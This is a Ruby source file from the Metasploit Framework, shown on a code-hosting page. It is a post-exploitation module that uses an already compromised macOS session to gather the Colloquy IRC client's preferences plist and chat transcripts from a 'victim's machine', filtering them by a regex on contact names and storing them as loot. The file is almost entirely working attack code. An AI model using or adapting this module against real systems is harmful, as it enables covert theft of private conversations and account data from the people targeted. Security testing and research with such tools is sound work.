Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/osx/gather/enum_colloquy.rb
19612 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Post
7
include Msf::Post::File
8
9
def initialize(info = {})
10
super(
11
update_info(
12
info,
13
'Name' => 'OS X Gather Colloquy Enumeration',
14
'Description' => %q{
15
This module will collect Colloquy's info plist file and chat logs from the
16
victim's machine. There are three actions you may choose: INFO, CHATS, and
17
ALL. Please note that the CHAT action may take a long time depending on the
18
victim machine, therefore we suggest to set the regex 'PATTERN' option in order
19
to search for certain log names (which consists of the contact's name, and a
20
timestamp). The default 'PATTERN' is configured as "^alien" as an example
21
to search for any chat logs associated with the name "alien".
22
},
23
'License' => MSF_LICENSE,
24
'Author' => [ 'sinn3r'],
25
'Platform' => [ 'osx' ],
26
'SessionTypes' => [ 'meterpreter', 'shell' ],
27
'Actions' => [
28
['ACCOUNTS', { 'Description' => 'Collect the preferences plists' } ],
29
['CHATS', { 'Description' => 'Collect chat logs with a pattern' } ],
30
['ALL', { 'Description' => 'Collect both the plists and chat logs' }]
31
],
32
'DefaultAction' => 'ALL',
33
'Notes' => {
34
'Stability' => [CRASH_SAFE],
35
'SideEffects' => [],
36
'Reliability' => []
37
}
38
)
39
)
40
41
register_options(
42
[
43
OptRegexp.new('PATTERN', [true, 'Match a keyword in any chat log\'s filename', '^alien']),
44
]
45
)
46
end
47
48
#
49
# Parse a plst file to XML format:
50
# https://web.archive.org/web/20141112034745/http://hints.macworld.com/article.php?story=20050430105126392
51
#
52
def plutil(filename)
53
exec("plutil -convert xml1 #{filename}")
54
exec("cat #{filename}")
55
end
56
57
def get_chatlogs(base)
58
chats = []
59
60
# Get all the logs
61
print_status("#{@peer} - Download logs...")
62
folders = dir("\"#{base}\"")
63
folders.each do |f|
64
# Get all the transcripts from this folder
65
trans = exec("find \"#{base}#{f}\" -name *.colloquyTranscript")
66
trans.split("\n").each do |t|
67
fname = ::File.basename(t)
68
# Check fname before downloading it
69
next if fname !~ datastore['PATTERN']
70
71
print_status("#{@peer} - Downloading #{t}")
72
content = exec("cat \"#{t}\"")
73
chats << { log_name: fname, content: content }
74
end
75
end
76
77
return chats
78
end
79
80
def get_preferences(path)
81
raw_plist = exec("cat #{path}")
82
return nil if raw_plist =~ /No such file or directory/
83
84
xml_plist = plutil(path)
85
return xml_plist
86
end
87
88
def save(type, data)
89
case type
90
when :preferences
91
p = store_loot(
92
'colloquy.preferences',
93
'text/plain',
94
session,
95
data,
96
'info.colloquy.plist'
97
)
98
print_good("#{@peer} - info.colloquy.plist saved as: #{p}")
99
100
when :chatlogs
101
data.each do |d|
102
log_name = d[:log_name]
103
content = d[:content]
104
105
p = store_loot(
106
'colloquy.chatlogs',
107
'text/plain',
108
session,
109
content,
110
log_name
111
)
112
print_good("#{@peer} - #{log_name} stored in #{p}")
113
end
114
end
115
end
116
117
def whoami
118
exec('/usr/bin/whoami')
119
end
120
121
def dir(path)
122
subdirs = exec("ls -l #{path}")
123
return [] if subdirs =~ /No such file or directory/
124
125
items = subdirs.scan(/[A-Z][a-z][a-z]\x20+\d+\x20[\d:]+\x20(.+)$/).flatten
126
return items
127
end
128
129
def exec(cmd)
130
tries = 0
131
begin
132
cmd_exec(cmd).chomp
133
rescue ::Timeout::Error => e
134
tries += 1
135
if tries < 3
136
vprint_error("#{@peer} - #{e.message} - retrying...")
137
retry
138
end
139
rescue EOFError => e
140
tries += 1
141
if tries < 3
142
vprint_error("#{@peer} - #{e.message} - retrying...")
143
retry
144
end
145
end
146
end
147
148
def run
149
if action.nil?
150
print_error('Please specify an action')
151
return
152
end
153
154
@peer = "#{session.session_host}:#{session.session_port}"
155
user = whoami
156
157
# Examples:
158
# /Users/[user]/Library/Preferences/info.colloquy.plist
159
# /Users/[user]/Documents/Colloquy Transcripts
160
# /Users/[user]/Documents/Colloquy Transcripts//[server]/[contact] 10-13-11.colloquyTranscript
161
transcripts_path = "/Users/#{user}/Documents/Colloquy Transcripts/"
162
prefs_path = "/Users/#{user}/Library/Preferences/info.colloquy.plist"
163
164
prefs = get_preferences(prefs_path) if action.name =~ /ALL|ACCOUNTS/i
165
chatlogs = get_chatlogs(transcripts_path) if action.name =~ /ALL|CHATS/i
166
167
save(:preferences, prefs) if !prefs.nil? && !prefs.empty?
168
save(:chatlogs, chatlogs) if !chatlogs.nil? && !chatlogs.empty?
169
end
170
end
171
172